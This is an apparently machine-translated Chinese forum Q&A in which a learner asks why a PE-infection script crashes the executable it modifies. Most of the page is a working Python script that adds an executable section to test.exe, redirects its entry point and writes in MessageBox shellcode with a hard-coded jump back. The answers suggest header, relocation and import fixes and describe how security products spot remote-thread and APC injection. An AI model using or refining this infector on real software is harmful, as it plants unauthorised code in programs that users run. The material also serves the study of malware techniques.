在学习基本的DLL注入之后,我想要稍微加强它并继续学习基本的EXE注入。我找到了一个解释该过程的基本脚本,基本上该脚本将一个消息框注入到将在本机进程之前运行的EXE中。我做了一些更改,一切都很完美,但是,代码只能工作一次。下次我尝试它时,原始程序开始崩溃:
test.exe has stopped working
Problem signature:
Problem Event Name: APPCRASH
Fault Module Name: StackHash_0a9e
Exception Code: c0000005
Exception Offset: 004550f0
我想有一次脚本运行完美是一个异常,并且代码中某处必定存在严重错误。我一直在寻找,但找不到一些明显的错误:
import pefile
import mmap
import os
def align(val_to_align, alignment):
return ((val_to_align + alignment - 1) / alignment) * alignment
# Path to EXE file to infect
exe_path = "test.exe"
shellcode = bytes(b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x69\x74\x79\x58\x68"
b"\x65\x63\x75\x72\x68\x6b\x49\x6e\x53\x68\x42\x72\x65"
b"\x61\x31\xdb\x88\x5c\x24\x0f\x89\xe3\x68\x65\x58\x20"
b"\x20\x68\x20\x63\x6f\x64\x68\x6e\x20\x75\x72\x68\x27"
b"\x6d\x20\x69\x68\x6f\x2c\x20\x49\x68\x48\x65\x6c\x6c"
b"\x31\xc9\x88\x4c\x24\x15\x89\xe1\x31\xd2\x6a\x40\x53"
b"\x51\x52\xff\xd0\xB8\xF0\x50\x45\x00\xFF\xD0")
# Resize the Executable
print "[*] STEP 0x01 - Resize the Executable"
original_size = os.path.getsize(exe_path)
print "\t[+] Original Size = %d" % original_size
fd = open(exe_path, 'a+b')
map = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_WRITE)
map.resize(original_size + 0x2000)
map.close()
fd.close()
print "\t[+] New Size = %d bytes\n" % os.path.getsize(exe_path)
# Add the New Section Header
print "[*] STEP 0x02 - Add the New Section Header"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1
file_alignment = pe.OPTIONAL_HEADER.FileAlignment
section_alignment = pe.OPTIONAL_HEADER.SectionAlignment
new_section_offset = (pe.sections[number_of_section - 1].get_file_offset() + 40)
# Look for valid values for the new section header
raw_size = align(0x1000, file_alignment)
virtual_size = align(0x1000, section_alignment)
raw_offset = align((pe.sections[last_section].PointerToRawData +
pe.sections[last_section].SizeOfRawData),
file_alignment)
virtual_offset = align((pe.sections[last_section].VirtualAddress +
pe.sections[last_section].Misc_VirtualSize),
section_alignment)
# CODE | EXECUTE | READ | WRITE
characteristics = 0xE0000020
# Section name must be equal to 8 bytes
name = ".axc" + (4 * '\x00')
# Create the section
# Set the name
pe.set_bytes_at_offset(new_section_offset, name)
print "\t[+] Section Name = %s" % name
# Set the virtual size
pe.set_dword_at_offset(new_section_offset + 8, virtual_size)
print "\t[+] Virtual Size = %s" % hex(virtual_size)
# Set the virtual offset
pe.set_dword_at_offset(new_section_offset + 12, virtual_offset)
print "\t[+] Virtual Offset = %s" % hex(virtual_offset)
# Set the raw size
pe.set_dword_at_offset(new_section_offset + 16, raw_size)
print "\t[+] Raw Size = %s" % hex(raw_size)
# Set the raw offset
pe.set_dword_at_offset(new_section_offset + 20, raw_offset)
print "\t[+] Raw Offset = %s" % hex(raw_offset)
# Set the following fields to zero
pe.set_bytes_at_offset(new_section_offset + 24, (12 * '\x00'))
# Set the characteristics
pe.set_dword_at_offset(new_section_offset + 36, characteristics)
print "\t[+] Characteristics = %s\n" % hex(characteristics)
# Modify the Main Headers
print "[*] STEP 0x03 - Modify the Main Headers"
pe.FILE_HEADER.NumberOfSections += 1
print "\t[+] Number of Sections = %s" % pe.FILE_HEADER.NumberOfSections
pe.OPTIONAL_HEADER.SizeOfImage = virtual_size + virtual_offset
print "\t[+] Size of Image = %d bytes" % pe.OPTIONAL_HEADER.SizeOfImage
pe.write(exe_path)
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1
new_ep = pe.sections[last_section].VirtualAddress
print "\t[+] New Entry Point = %s" % hex(pe.sections[last_section].VirtualAddress)
oep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
print "\t[+] Original Entry Point = %s\n" % hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
pe.OPTIONAL_HEADER.AddressOfEntryPoint = new_ep
# Inject the Shellcode in the New Section
print "[*] STEP 0x04 - Inject the Shellcode in the New Section"
raw_offset = pe.sections[last_section].PointerToRawData
pe.set_bytes_at_offset(raw_offset, shellcode)
print "\t[+] Shellcode wrote in the new section"
pe.write(exe_path)
我读到AV可以将代码检测为"恶意"在某些情况下,这可能是一个原因,但该程序是在没有任何AV的Windows 7上的虚拟框中运行的。换句话说,问题必须在代码中的某个地方......
可以这么说,欣赏正确的方向。
答案 0 :(得分:0)
PE文件中可能出现错误。
例如我遇到的并且在您的文件中看不到已解决的问题,标题可能会超出空间而您在第一部分数据上写下最后一部分。标头大小在pe标头中指定为SizeOfHeaders
,同时您还应将其与第1节PointerToRawData
进行比较(请记住,编译器可以添加没有原始数据但分配了虚拟空间的节)。
我没有看到您在重新定位表中添加任何内容,因此 可能会ImageBase
遇到问题,如果您正在调用WINAPI
你必须获得它的VA(查找Import Table
)。如果导入中不存在必需的WINAPI
,则必须添加它才能调用它。
我的建议是采取一个基本的disasambler(如OllyDbg)甚至十六进制编辑器,并试着看看有什么不对。
答案 1 :(得分:0)
反病毒产品倾向于在对象被阻止时通知您,坦率地说,您应该被告知大多数安全解决方案在减少代码注入方面都很糟糕。那些倾向于做得恰到好处的人通常会有某种形式的“切换”。行为阻止/ HIPS保护。
继续前进,这种检测通常是由一个未知的"或者"不信任"创建远程线程的进程,调度针对不属于请求者进程的线程的APC,或者尝试在不使用APC(例如NtSetContextThread)的情况下将线程劫持到不属于请求者进程的线程......而不是自己注入的代码。